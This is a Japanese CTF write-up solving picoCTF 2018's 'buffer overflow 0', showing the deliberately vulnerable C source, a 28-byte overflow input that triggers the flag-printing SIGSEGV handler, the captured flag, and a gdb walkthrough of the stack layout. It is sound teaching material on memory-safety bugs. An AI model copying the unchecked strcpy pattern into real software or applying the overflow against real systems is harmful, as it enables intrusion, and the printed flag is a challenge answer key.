picoCTF 2018: buffer overflow 0
問題
問題文
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d on the shell server. Source.
Hints
How can you trigger the flag to print?
If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
問題概要
解答例
指針
- buffer overflow
解説
やるだけの問題を詳しく解説してみる.
与えられたソースコードは以下の通り.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0; }
このプログラムを main() の先頭から読んでいく.
まず flag.txt
を読み込み fgets
で読み込んだ文字列を char 配列である flag に格納している.
signal()
関数でシグナルハンドラが設定されている.
シグナルハンドラとは割り込みや例外などのシグナルに対してある特定の処理を実行するときの, 処理のことを指す.
signal(SIGSEGV, sigsegv_handler);
第一引数の SIGSEGV はシグナル番号で, このシグナルをキャッチしたとき sigsegv_handler を実行する. sigsegv_handler は flag を表示する関数なので SIGSEGV シグナルを出すことができれば flag を取ることができる.
不正なメモリアクセス, 許可がないメモリ上の位置へのアクセスなどを行うと セグメンテーション違反(segmentation fault) というエラーが起きる.
配列の範囲外参照をしてしまった際などにみられるこのエラーが起きた際, UNIX ライクな OS では SIGSEGV シグナルを受け取る.
この問題では vuln()
という関数が用意されており, 引数としてコマンドライン引数の第一引数を受け取る.
この関数を見ると, strcpy()
が使われており, 入力に buf
より長い文字列を与えると buf overflow が生じる事がわかる.
void vuln(char *input){ char buf[16]; strcpy(buf, input); }
実際に実行してみると 28文字以上の文字列を与えると flag が得られた.
kira924age@pico-2018-shell-2:/problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d$ ./vuln $( python3 -c "print('A'*28)" ) picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}
なぜこのようなことが起きたのかを少し考える.
以下は gdb を使って vuln()
を逆アセンブルした様子である.
kira924age@pico-2018-shell-2:/problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d$ gdb -q vuln Reading symbols from vuln...(no debugging symbols found)...done. (gdb) start AAA Temporary breakpoint 1 at 0x8048691 Starting program: /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d/vuln AAA Temporary breakpoint 1, 0x08048691 in main () (gdb) set disassembly-flavor intel (gdb) disas vuln Dump of assembler code for function vuln: 0x08048667 <+0>: push ebp 0x08048668 <+1>: mov ebp,esp 0x0804866a <+3>: sub esp,0x18 0x0804866d <+6>: sub esp,0x8 0x08048670 <+9>: push DWORD PTR [ebp+0x8] 0x08048673 <+12>: lea eax,[ebp-0x18] 0x08048676 <+15>: push eax 0x08048677 <+16>: call 0x80484b0 <strcpy@plt> 0x0804867c <+21>: add esp,0x10 0x0804867f <+24>: nop 0x08048680 <+25>: leave 0x08048681 <+26>: ret End of assembler dump. (gdb)
まず push ebp
により EBP の値をコールスタックに積んでいる.
このようにして EBP の値をコールスタックに退避させることで EBP を書き換えても, あとでもとの値に戻すことができるようになる.
コールスタックでは引数の受け渡しなども行われる.
strcpy()
の引数2つは直前の push でコールスタックに積まれている.
0x08048670 <+9>: push DWORD PTR [ebp+0x8] 0x08048673 <+12>: lea eax,[ebp-0x18] 0x08048676 <+15>: push eax 0x08048677 <+16>: call 0x80484b0 <strcpy@plt>
[ebp-0x18] が buf の先頭アドレスで, [ebp+0x8] が input の先頭アドレスである.
コールスタックの状態は以下のようになっている.
28文字以上の文字列の文字列を入力として与えると戻り先のアドレス (return address) が書き換わり, この関数を抜けた際の EIP の値が 今回では AAAA
になり, プログラムは SIGSEGV シグナルを受け取る.
(lower address) | top of buf | ... < 0x18 bytes > ... | saved EBP | | return addr | | param 1 | (higher address)
参考文献
- HACKING:美しき策謀